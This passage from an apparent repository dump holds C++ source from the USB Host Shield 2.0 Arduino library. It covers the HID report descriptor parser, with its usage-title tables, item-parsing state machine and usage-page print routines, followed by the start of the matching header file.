pstrUsageCharacterWidth,\n        pstrUsageCharacterHeight,\n        pstrUsageCharacterSpacingHorizontal,\n        pstrUsageCharacterSpacingVertical,\n        pstrUsageUnicodeCharset,\n        pstrUsageFont7Segment,\n        pstrUsage7SegmentDirectMap,\n        pstrUsageFont14Segment,\n        pstrUsage14SegmentDirectMap,\n        pstrUsageDisplayBrightness,\n        pstrUsageDisplayContrast,\n        pstrUsageCharacterAttribute,\n        pstrUsageAttributeReadback,\n        pstrUsageAttributeData,\n        pstrUsageCharAttributeEnhance,\n        pstrUsageCharAttributeUnderline,\n        pstrUsageCharAttributeBlink\n};\nconst char * const ReportDescParserBase::aplphanumTitles2[] PROGMEM = {\n        pstrUsageBitmapSizeX,\n        pstrUsageBitmapSizeY,\n        pstrUsagePageReserved,\n        pstrUsageBitDepthFormat,\n        pstrUsageDisplayOrientation,\n        pstrUsagePaletteReport,\n        pstrUsagePaletteDataSize,\n        pstrUsagePaletteDataOffset,\n        pstrUsagePaletteData,\n        pstrUsageBlitReport,\n        pstrUsageBlitRectangleX1,\n        pstrUsageBlitRectangleY1,\n        pstrUsageBlitRectangleX2,\n        pstrUsageBlitRectangleY2,\n        pstrUsageBlitData,\n        pstrUsageSoftButton,\n        pstrUsageSoftButtonID,\n        pstrUsageSoftButtonSide,\n        pstrUsageSoftButtonOffset1,\n        pstrUsageSoftButtonOffset2,\n        pstrUsageSoftButtonReport\n};\nconst char * const ReportDescParserBase::medInstrTitles0[] PROGMEM = {\n        pstrUsageVCRAcquisition,\n        pstrUsageFreezeThaw,\n        pstrUsageClipStore,\n        pstrUsageUpdate,\n        pstrUsageNext,\n        pstrUsageSave,\n        pstrUsagePrint,\n        pstrUsageMicrophoneEnable\n};\nconst char * const ReportDescParserBase::medInstrTitles1[] PROGMEM = {\n        pstrUsageCine,\n        pstrUsageTransmitPower,\n        pstrUsageVolume,\n        pstrUsageFocus,\n        pstrUsageDepth\n};\nconst char * const ReportDescParserBase::medInstrTitles2[] PROGMEM = {\n        pstrUsageSoftStepPrimary,\n        pstrUsageSoftStepSecondary\n};\nconst char * const ReportDescParserBase::medInstrTitles3[] PROGMEM = {\n        pstrUsageZoomSelect,\n        pstrUsageZoomAdjust,\n        pstrUsageSpectralDopplerModeSelect,\n        pstrUsageSpectralDopplerModeAdjust,\n        pstrUsageColorDopplerModeSelect,\n        pstrUsageColorDopplerModeAdjust,\n        pstrUsageMotionModeSelect,\n        pstrUsageMotionModeAdjust,\n        pstrUsage2DModeSelect,\n        pstrUsage2DModeAdjust\n};\nconst char * const ReportDescParserBase::medInstrTitles4[] PROGMEM = {\n        pstrUsageSoftControlSelect,\n        pstrUsageSoftControlAdjust\n};\n\nvoid ReportDescParserBase::Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset __attribute__((unused))) {\n        uint16_t cntdn = (uint16_t)len;\n        uint8_t *p = (uint8_t*)pbuf;\n\n\n        totalSize = 0;\n\n        while(cntdn) {\n                //USB_HOST_SERIAL.println(\"\");\n                //PrintHex<uint16_t>(offset + len - cntdn);\n                //USB_HOST_SERIAL.print(\":\");\n\n                ParseItem(&p, &cntdn);\n\n                //if (ParseItem(&p, &cntdn))\n                //        return;\n        }\n        //USBTRACE2(\"Total:\", totalSize);\n}\n\nvoid ReportDescParserBase::PrintValue(uint8_t *p, uint8_t len) {\n        E_Notify(PSTR(\"(\"), 0x80);\n        for(; len; p++, len--)\n                PrintHex<uint8_t > (*p, 0x80);\n        E_Notify(PSTR(\")\"), 0x80);\n}\n\nvoid ReportDescParserBase::PrintByteValue(uint8_t data) {\n        E_Notify(PSTR(\"(\"), 0x80);\n        PrintHex<uint8_t > (data, 0x80);\n        E_Notify(PSTR(\")\"), 0x80);\n}\n\nvoid ReportDescParserBase::PrintItemTitle(uint8_t prefix) {\n        switch(prefix & (TYPE_MASK | TAG_MASK)) {\n                case (TYPE_GLOBAL | TAG_GLOBAL_PUSH):\n                        E_Notify(PSTR(\"\\r\\nPush\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_POP):\n                        E_Notify(PSTR(\"\\r\\nPop\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_USAGEPAGE):\n                        E_Notify(PSTR(\"\\r\\nUsage Page\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMIN):\n                        E_Notify(PSTR(\"\\r\\nLogical Min\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMAX):\n                        E_Notify(PSTR(\"\\r\\nLogical Max\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMIN):\n                        E_Notify(PSTR(\"\\r\\nPhysical Min\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMAX):\n                        E_Notify(PSTR(\"\\r\\nPhysical Max\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_UNITEXP):\n                        E_Notify(PSTR(\"\\r\\nUnit Exp\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_UNIT):\n                        E_Notify(PSTR(\"\\r\\nUnit\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTSIZE):\n                        E_Notify(PSTR(\"\\r\\nReport Size\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTCOUNT):\n                        E_Notify(PSTR(\"\\r\\nReport Count\"), 0x80);\n                        break;\n                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTID):\n                        E_Notify(PSTR(\"\\r\\nReport Id\"), 0x80);\n                        break;\n                case (TYPE_LOCAL | TAG_LOCAL_USAGE):\n                        E_Notify(PSTR(\"\\r\\nUsage\"), 0x80);\n                        break;\n                case (TYPE_LOCAL | TAG_LOCAL_USAGEMIN):\n                        E_Notify(PSTR(\"\\r\\nUsage Min\"), 0x80);\n                        break;\n                case (TYPE_LOCAL | TAG_LOCAL_USAGEMAX):\n                        E_Notify(PSTR(\"\\r\\nUsage Max\"), 0x80);\n                        break;\n                case (TYPE_MAIN | TAG_MAIN_COLLECTION):\n                        E_Notify(PSTR(\"\\r\\nCollection\"), 0x80);\n                        break;\n                case (TYPE_MAIN | TAG_MAIN_ENDCOLLECTION):\n                        E_Notify(PSTR(\"\\r\\nEnd Collection\"), 0x80);\n                        break;\n                case (TYPE_MAIN | TAG_MAIN_INPUT):\n                        E_Notify(PSTR(\"\\r\\nInput\"), 0x80);\n                        break;\n                case (TYPE_MAIN | TAG_MAIN_OUTPUT):\n                        E_Notify(PSTR(\"\\r\\nOutput\"), 0x80);\n                        break;\n                case (TYPE_MAIN | TAG_MAIN_FEATURE):\n                        E_Notify(PSTR(\"\\r\\nFeature\"), 0x80);\n                        break;\n        } // switch (**pp & (TYPE_MASK | TAG_MASK))\n}\n\nuint8_t ReportDescParserBase::ParseItem(uint8_t **pp, uint16_t *pcntdn) {\n        //uint8_t ret = enErrorSuccess;\n        //reinterpret_cast<>(varBuffer);\n        switch(itemParseState) {\n                case 0:\n                        if(**pp == HID_LONG_ITEM_PREFIX)\n                                USBTRACE(\"\\r\\nLONG\\r\\n\");\n                        else {\n                                uint8_t size = ((**pp) & DATA_SIZE_MASK);\n\n                                itemPrefix = (**pp);\n                                itemSize = 1 + ((size == DATA_SIZE_4) ? 4 : size);\n\n                                PrintItemTitle(itemPrefix);\n                        }\n                        (*pp)++;\n                        (*pcntdn)--;\n                        itemSize--;\n                        itemParseState = 1;\n\n                        if(!itemSize)\n                                break;\n\n                        if(!pcntdn)\n                                return enErrorIncomplete;\n                case 1:\n                        //USBTRACE2(\"\\r\\niSz:\",itemSize);\n\n                        theBuffer.valueSize = itemSize;\n                        valParser.Initialize(&theBuffer);\n                        itemParseState = 2;\n                case 2:\n                        if(!valParser.Parse(pp, pcntdn))\n                                return enErrorIncomplete;\n                        itemParseState = 3;\n                case 3:\n                {\n                        uint8_t data = *((uint8_t*)varBuffer);\n\n                        switch(itemPrefix & (TYPE_MASK | TAG_MASK)) {\n                                case (TYPE_LOCAL | TAG_LOCAL_USAGE):\n                                        if(pfUsage) {\n                                                if(theBuffer.valueSize > 1) {\n                                                        uint16_t* ui16 = reinterpret_cast<uint16_t *>(varBuffer);\n                                                        pfUsage(*ui16);\n                                                } else\n                                                        pfUsage(data);\n                                        }\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTSIZE):\n                                        rptSize = data;\n                                        PrintByteValue(data);\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTCOUNT):\n                                        rptCount = data;\n                                        PrintByteValue(data);\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMIN):\n                                case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMAX):\n                                case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMIN):\n                                case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMAX):\n                                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTID):\n                                case (TYPE_LOCAL | TAG_LOCAL_USAGEMIN):\n                                case (TYPE_LOCAL | TAG_LOCAL_USAGEMAX):\n                                case (TYPE_GLOBAL | TAG_GLOBAL_UNITEXP):\n                                case (TYPE_GLOBAL | TAG_GLOBAL_UNIT):\n                                        PrintValue(varBuffer, theBuffer.valueSize);\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_PUSH):\n                                case (TYPE_GLOBAL | TAG_GLOBAL_POP):\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_USAGEPAGE):\n                                        SetUsagePage(data);\n                                        PrintUsagePage(data);\n                                        PrintByteValue(data);\n                                        break;\n                                case (TYPE_MAIN | TAG_MAIN_COLLECTION):\n                                case (TYPE_MAIN | TAG_MAIN_ENDCOLLECTION):\n                                        switch(data) {\n                                                case 0x00:\n                                                        E_Notify(PSTR(\" Physical\"), 0x80);\n                                                        break;\n                                                case 0x01:\n                                                        E_Notify(PSTR(\" Application\"), 0x80);\n                                                        break;\n                                                case 0x02:\n                                                        E_Notify(PSTR(\" Logical\"), 0x80);\n                                                        break;\n                                                case 0x03:\n                                                        E_Notify(PSTR(\" Report\"), 0x80);\n                                                        break;\n                                                case 0x04:\n                                                        E_Notify(PSTR(\" Named Array\"), 0x80);\n                                                        break;\n                                                case 0x05:\n                                                        E_Notify(PSTR(\" Usage Switch\"), 0x80);\n                                                        break;\n                                                case 0x06:\n                                                        E_Notify(PSTR(\" Usage Modifier\"), 0x80);\n                                                        break;\n                                                default:\n                                                        E_Notify(PSTR(\" Vendor Defined(\"), 0x80);\n                                                        PrintHex<uint8_t > (data, 0x80);\n                                                        E_Notify(PSTR(\")\"), 0x80);\n                                        }\n                                        break;\n                                case (TYPE_MAIN | TAG_MAIN_INPUT):\n                                case (TYPE_MAIN | TAG_MAIN_OUTPUT):\n                                case (TYPE_MAIN | TAG_MAIN_FEATURE):\n                                        totalSize += (uint16_t)rptSize * (uint16_t)rptCount;\n                                        rptSize = 0;\n                                        rptCount = 0;\n                                        E_Notify(PSTR(\"(\"), 0x80);\n                                        PrintBin<uint8_t > (data, 0x80);\n                                        E_Notify(PSTR(\")\"), 0x80);\n                                        break;\n                        } // switch (**pp & (TYPE_MASK | TAG_MASK))\n                }\n        } // switch (itemParseState)\n        itemParseState = 0;\n        return enErrorSuccess;\n}\n\nReportDescParserBase::UsagePageFunc ReportDescParserBase::usagePageFunctions[] /*PROGMEM*/ = {\n        &ReportDescParserBase::PrintGenericDesktopPageUsage,\n        &ReportDescParserBase::PrintSimulationControlsPageUsage,\n        &ReportDescParserBase::PrintVRControlsPageUsage,\n        &ReportDescParserBase::PrintSportsControlsPageUsage,\n        &ReportDescParserBase::PrintGameControlsPageUsage,\n        &ReportDescParserBase::PrintGenericDeviceControlsPageUsage,\n        NULL, // Keyboard/Keypad\n        &ReportDescParserBase::PrintLEDPageUsage,\n        &ReportDescParserBase::PrintButtonPageUsage,\n        &ReportDescParserBase::PrintOrdinalPageUsage,\n        &ReportDescParserBase::PrintTelephonyPageUsage,\n        &ReportDescParserBase::PrintConsumerPageUsage,\n        &ReportDescParserBase::PrintDigitizerPageUsage,\n        NULL, // Reserved\n        NULL, // PID\n        NULL // Unicode\n};\n\nvoid ReportDescParserBase::SetUsagePage(uint16_t page) {\n        pfUsage = NULL;\n\n        if(VALUE_BETWEEN(page, 0x00, 0x11)) {\n                pfUsage = (usagePageFunctions[page - 1]);\n\n        } else {\n                switch(page) {\n                        case 0x14:\n                                pfUsage = &ReportDescParserBase::PrintAlphanumDisplayPageUsage;\n                                break;\n                        case 0x40:\n                                pfUsage = &ReportDescParserBase::PrintMedicalInstrumentPageUsage;\n                                break;\n                }\n        }\n}\n\nvoid ReportDescParserBase::PrintUsagePage(uint16_t page) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(page, 0x00, 0x11, w, E_Notify, usagePageTitles0, 0x80)\n        else output_if_between(page, 0x8b, 0x92, w, E_Notify, usagePageTitles1, 0x80)\n        else if(VALUE_BETWEEN(page, 0x7f, 0x84))\n                E_Notify(pstrUsagePageMonitor, 0x80);\n        else if(VALUE_BETWEEN(page, 0x83, 0x8c))\n                E_Notify(pstrUsagePagePower, 0x80);\n        else if(page > 0xfeff /* && page <= 0xffff */)\n                E_Notify(pstrUsagePageVendorDefined, 0x80);\n        else\n                switch(page) {\n                        case 0x14:\n                                E_Notify(pstrUsagePageAlphaNumericDisplay, 0x80);\n                                break;\n                        case 0x40:\n                                E_Notify(pstrUsagePageMedicalInstruments, 0x80);\n                                break;\n                        default:\n                                E_Notify(pstrUsagePageUndefined, 0x80);\n                }\n}\n\nvoid ReportDescParserBase::PrintButtonPageUsage(uint16_t usage) {\n        E_Notify(pstrSpace, 0x80);\n        E_Notify(PSTR(\"Btn\"), 0x80);\n        PrintHex<uint16_t > (usage, 0x80);\n        E_Notify(PSTR(\"\\r\\n\"), 0x80);\n        //USB_HOST_SERIAL.print(usage, HEX);\n}\n\nvoid ReportDescParserBase::PrintOrdinalPageUsage(uint16_t usage) {\n        E_Notify(pstrSpace, 0x80);\n        E_Notify(PSTR(\"Inst\"), 0x80);\n        // Sorry, HEX for now...\n        PrintHex<uint16_t > (usage, 0x80);\n        E_Notify(PSTR(\"\\r\\n\"), 0x80);\n        //USB_HOST_SERIAL.print(usage, DEC);\n}\n\nvoid ReportDescParserBase::PrintGenericDesktopPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x0a, w, E_Notify, genDesktopTitles0, 0x80)\n        else output_if_between(usage, 0x2f, 0x49, w, E_Notify, genDesktopTitles1, 0x80)\n        else output_if_between(usage, 0x7f, 0x94, w, E_Notify, genDesktopTitles2, 0x80)\n        else output_if_between(usage, 0x9f, 0xa9, w, E_Notify, genDesktopTitles3, 0x80)\n        else output_if_between(usage, 0xaf, 0xb8, w, E_Notify, genDesktopTitles4, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintSimulationControlsPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x0d, w, E_Notify, simuTitles0, 0x80)\n        else output_if_between(usage, 0x1f, 0x26, w, E_Notify, simuTitles1, 0x80)\n        else output_if_between(usage, 0xaf, 0xd1, w, E_Notify, simuTitles2, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintVRControlsPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x0b, w, E_Notify, vrTitles0, 0x80)\n        else output_if_between(usage, 0x1f, 0x22, w, E_Notify, vrTitles1, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintSportsControlsPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x05, w, E_Notify, sportsCtrlTitles0, 0x80)\n        else output_if_between(usage, 0x2f, 0x3a, w, E_Notify, sportsCtrlTitles1, 0x80)\n        else output_if_between(usage, 0x4f, 0x64, w, E_Notify, sportsCtrlTitles2, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintGameControlsPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x04, w, E_Notify, gameTitles0, 0x80)\n        else output_if_between(usage, 0x1f, 0x3a, w, E_Notify, gameTitles1, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintGenericDeviceControlsPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x1f, 0x27, w, E_Notify, genDevCtrlTitles, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintLEDPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x4e, w, E_Notify, ledTitles, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintTelephonyPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x08, w, E_Notify, telTitles0, 0x80)\n        else output_if_between(usage, 0x1f, 0x32, w, E_Notify, telTitles1, 0x80)\n        else output_if_between(usage, 0x4f, 0x54, w, E_Notify, telTitles2, 0x80)\n        else output_if_between(usage, 0x6f, 0x75, w, E_Notify, telTitles3, 0x80)\n        else output_if_between(usage, 0x8f, 0x9f, w, E_Notify, telTitles4, 0x80)\n        else output_if_between(usage, 0xaf, 0xc0, w, E_Notify, telTitles5, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintConsumerPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x07, w, E_Notify, consTitles0, 0x80)\n        else output_if_between(usage, 0x1f, 0x23, w, E_Notify, consTitles1, 0x80)\n        else output_if_between(usage, 0x2f, 0x37, w, E_Notify, consTitles2, 0x80)\n        else output_if_between(usage, 0x3f, 0x49, w, E_Notify, consTitles3, 0x80)\n        else output_if_between(usage, 0x5f, 0x67, w, E_Notify, consTitles4, 0x80)\n        else output_if_between(usage, 0x7f, 0xa5, w, E_Notify, consTitles5, 0x80)\n        else output_if_between(usage, 0xaf, 0xcf, w, E_Notify, consTitles6, 0x80)\n        else output_if_between(usage, 0xdf, 0xeb, w, E_Notify, consTitles7, 0x80)\n        else output_if_between(usage, 0xef, 0xf6, w, E_Notify, consTitles8, 0x80)\n        else output_if_between(usage, 0xff, 0x10e, w, E_Notify, consTitles9, 0x80)\n        else output_if_between(usage, 0x14f, 0x156, w, E_Notify, consTitlesA, 0x80)\n        else output_if_between(usage, 0x15f, 0x16b, w, E_Notify, consTitlesB, 0x80)\n        else output_if_between(usage, 0x16f, 0x175, w, E_Notify, consTitlesC, 0x80)\n        else output_if_between(usage, 0x17f, 0x1c8, w, E_Notify, consTitlesD, 0x80)\n        else output_if_between(usage, 0x1ff, 0x29d, w, E_Notify, consTitlesE, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintDigitizerPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x0e, w, E_Notify, digitTitles0, 0x80)\n        else output_if_between(usage, 0x1f, 0x23, w, E_Notify, digitTitles1, 0x80)\n        else output_if_between(usage, 0x2f, 0x47, w, E_Notify, digitTitles2, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintAlphanumDisplayPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        output_if_between(usage, 0x00, 0x03, w, E_Notify, aplphanumTitles0, 0x80)\n        else output_if_between(usage, 0x1f, 0x4e, w, E_Notify, aplphanumTitles1, 0x80)\n        else output_if_between(usage, 0x7f, 0x96, w, E_Notify, digitTitles2, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nvoid ReportDescParserBase::PrintMedicalInstrumentPageUsage(uint16_t usage) {\n        const char * const * w;\n        E_Notify(pstrSpace, 0x80);\n\n        if(usage == 1) E_Notify(pstrUsageMedicalUltrasound, 0x80);\n        else if(usage == 0x70)\n                E_Notify(pstrUsageDepthGainCompensation, 0x80);\n        else output_if_between(usage, 0x1f, 0x28, w, E_Notify, medInstrTitles0, 0x80)\n        else output_if_between(usage, 0x3f, 0x45, w, E_Notify, medInstrTitles1, 0x80)\n        else output_if_between(usage, 0x5f, 0x62, w, E_Notify, medInstrTitles2, 0x80)\n        else output_if_between(usage, 0x7f, 0x8a, w, E_Notify, medInstrTitles3, 0x80)\n        else output_if_between(usage, 0x9f, 0xa2, w, E_Notify, medInstrTitles4, 0x80)\n        else E_Notify(pstrUsagePageUndefined, 0x80);\n}\n\nuint8_t ReportDescParser2::ParseItem(uint8_t **pp, uint16_t *pcntdn) {\n        //uint8_t ret = enErrorSuccess;\n\n        switch(itemParseState) {\n                case 0:\n                        if(**pp == HID_LONG_ITEM_PREFIX)\n                                USBTRACE(\"\\r\\nLONG\\r\\n\");\n                        else {\n                                uint8_t size = ((**pp) & DATA_SIZE_MASK);\n                                itemPrefix = (**pp);\n                                itemSize = 1 + ((size == DATA_SIZE_4) ? 4 : size);\n                        }\n                        (*pp)++;\n                        (*pcntdn)--;\n                        itemSize--;\n                        itemParseState = 1;\n\n                        if(!itemSize)\n                                break;\n\n                        if(!pcntdn)\n                                return enErrorIncomplete;\n                case 1:\n                        theBuffer.valueSize = itemSize;\n                        valParser.Initialize(&theBuffer);\n                        itemParseState = 2;\n                case 2:\n                        if(!valParser.Parse(pp, pcntdn))\n                                return enErrorIncomplete;\n                        itemParseState = 3;\n                case 3:\n                {\n                        uint8_t data = *((uint8_t*)varBuffer);\n\n                        switch(itemPrefix & (TYPE_MASK | TAG_MASK)) {\n                                case (TYPE_LOCAL | TAG_LOCAL_USAGE):\n                                        if(pfUsage) {\n                                                if(theBuffer.valueSize > 1) {\n                                                        uint16_t* ui16 = reinterpret_cast<uint16_t *>(varBuffer);\n                                                        pfUsage(*ui16);\n                                                } else\n                                                        pfUsage(data);\n                                        }\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTSIZE):\n                                        rptSize = data;\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTCOUNT):\n                                        rptCount = data;\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_REPORTID):\n                                        rptId = data;\n                                        break;\n                                case (TYPE_LOCAL | TAG_LOCAL_USAGEMIN):\n                                        useMin = data;\n                                        break;\n                                case (TYPE_LOCAL | TAG_LOCAL_USAGEMAX):\n                                        useMax = data;\n                                        break;\n                                case (TYPE_GLOBAL | TAG_GLOBAL_USAGEPAGE):\n                                        SetUsagePage(data);\n                                        break;\n                                case (TYPE_MAIN | TAG_MAIN_OUTPUT):\n                                case (TYPE_MAIN | TAG_MAIN_FEATURE):\n                                        rptSize = 0;\n                                        rptCount = 0;\n                                        useMin = 0;\n                                        useMax = 0;\n                                        break;\n                                case (TYPE_MAIN | TAG_MAIN_INPUT):\n                                        OnInputItem(data);\n\n                                        totalSize += (uint16_t)rptSize * (uint16_t)rptCount;\n\n                                        rptSize = 0;\n                                        rptCount = 0;\n                                        useMin = 0;\n                                        useMax = 0;\n                                        break;\n                        } // switch (**pp & (TYPE_MASK | TAG_MASK))\n                }\n        } // switch (itemParseState)\n        itemParseState = 0;\n        return enErrorSuccess;\n}\n\nvoid ReportDescParser2::OnInputItem(uint8_t itm) {\n        uint8_t byte_offset = (totalSize >> 3); // calculate offset to the next unhandled byte i = (int)(totalCount / 8);\n        uint32_t tmp = (byte_offset << 3);\n        uint8_t bit_offset = totalSize - tmp; // number of bits in the current byte already handled\n        uint8_t *p = pBuf + byte_offset; // current byte pointer\n\n        if(bit_offset)\n                *p >>= bit_offset;\n\n        uint8_t usage = useMin;\n\n        bool print_usemin_usemax = ((useMin < useMax) && ((itm & 3) == 2) && pfUsage) ? true : false;\n\n        uint8_t bits_of_byte = 8;\n\n        // for each field in field array defined by rptCount\n        for(uint8_t field = 0; field < rptCount; field++, usage++) {\n\n                union {\n                        uint8_t bResult[4];\n                        uint16_t wResult[2];\n                        uint32_t dwResult;\n                } result;\n\n                result.dwResult = 0;\n                uint8_t mask = 0;\n\n                if(print_usemin_usemax)\n                        pfUsage(usage);\n\n                // bits_left            - number of bits in the field(array of fields, depending on Report Count) left to process\n                // bits_of_byte         - number of bits in current byte left to process\n                // bits_to_copy         - number of bits to copy to result buffer\n\n                // for each bit in a field\n                for(uint8_t bits_left = rptSize, bits_to_copy = 0; bits_left;\n                        bits_left -= bits_to_copy) {\n                        bits_to_copy = (bits_left > bits_of_byte) ? bits_of_byte : bits_left;\n\n                        result.dwResult <<= bits_to_copy; // Result buffer is shifted by the number of bits to be copied into it\n\n                        uint8_t val = *p;\n\n                        val >>= (8 - bits_of_byte); // Shift by the number of bits already processed\n\n                        mask = 0;\n\n                        for(uint8_t j = bits_to_copy; j; j--) {\n                                mask <<= 1;\n                                mask |= 1;\n                        }\n\n                        result.bResult[0] = (result.bResult[0] | (val & mask));\n\n                        bits_of_byte -= bits_to_copy;\n\n                        if(bits_of_byte < 1) {\n                                bits_of_byte = 8;\n                                p++;\n                        }\n                }\n                PrintByteValue(result.dwResult);\n        }\n        E_Notify(PSTR(\"\\r\\n\"), 0x80);\n}\n\nvoid UniversalReportParser::Parse(USBHID *hid, bool is_rpt_id __attribute__((unused)), uint8_t len, uint8_t *buf) {\n        ReportDescParser2 prs(len, buf);\n\n        uint8_t ret = hid->GetReportDescr(0, &prs);\n\n        if(ret)\n                ErrorMessage<uint8_t > (PSTR(\"GetReportDescr-2\"), ret);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidescriptorparser.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__HIDDESCRIPTORPARSER_H__)\n#define __HIDDESCRIPTORPARSER_H__\n\n#include \"usbhid.h\"\n\nclass ReportDescParserBase : public USBReadParser {\npublic:\n        typedef void (*UsagePageFunc)(uint16_t usage);\n\n        static void PrintGenericDesktopPageUsage(uint16_t usage);\n        static void PrintSimulationControlsPageUsage(uint16_t usage);\n        static void PrintVRControlsPageUsage(uint16_t usage);\n        static void PrintSportsControlsPageUsage(uint16_t usage);\n        static void PrintGameControlsPageUsage(uint16_t usage);\n        static void PrintGenericDeviceControlsPageUsage(uint16_t usage);\n        static void PrintLEDPageUsage(uint16_t usage);\n        static void PrintButtonPageUsage(uint16_t usage);\n        static void PrintOrdinalPageUsage(uint16_t usage);\n        static void PrintTelephonyPageUsage(uint16_t usage);\n        static void PrintConsumerPageUsage(uint16_t usage);\n        static void PrintDigitizerPageUsage(uint16_t usage);\n        static void PrintAlphanumDisplayPageUsage(uint16_t usage);\n        static void PrintMedicalInstrumentPageUsage(uint16_t usage);\n\n        static void PrintValue(uint8_t *p, uint8_t len);\n        static void PrintByteValue(uint8_t data);\n\n        static void PrintItemTitle(uint8_t prefix);\n\n        static const char * const usagePageTitles0[];\n        static const char * const usagePageTitles1[];\n        static const char * const genDesktopTitles0[];\n        static const char * const genDesktopTitles1[];\n        static const char * const genDesktopTitles2[];\n        static const char * const genDesktopTitles3[];\n        static const char * const genDesktopTitles4[];\n        static const char * const simuTitles0[];\n        static const char * const simuTitles1[];\n        static const char * const simuTitles2[];\n        static const char * const vrTitles0[];\n        static const char * const vrTitles1[];\n        static const char * const sportsCtrlTitles0[];\n        static const char * const sportsCtrlTitles1[];\n        static const char * const sportsCtrlTitles2[];\n        static const char * const gameTitles0[];\n        static const char * const gameTitles1[];\n        static const char * const genDevCtrlTitles[];\n        static const char * const ledTitles[];\n        static const char * const telTitles0[];\n        static const char * const telTitles1[];\n        static const char * const telTitles2[];\n        static const char * const telTitles3[];\n        static const char * const telTitles4[];\n        static const char * const telTitles5[];\n        static const char * const consTitles0[];\n        static const char * const consTitles1[];\n        static const char * const consTitles2[];\n        static const char * const consTitles3[];\n        static const char * const consTitles4[];\n        static const char * const consTitles5[];\n        static const char * const consTitles6[];\n        static const char * const consTitles7[];\n        static const char * const consTitles8[];\n        static const char * const consTitles9[];\n        static const char * const consTitlesA[];\n        static const char * const consTitlesB[];\n        static const char * const consTitlesC[];\n        static const char * const consTitlesD[];\n        static const char * const consTitlesE[];\n        static const char * const digitTitles0[];\n        static const char * const digitTitles1[];\n        static const char * const digitTitles2[];\n        static const char * const aplphanumTitles0[];\n        static const char * const aplphanumTitles1[];\n        static const char * const aplphanumTitles2[];\n        static const char * const 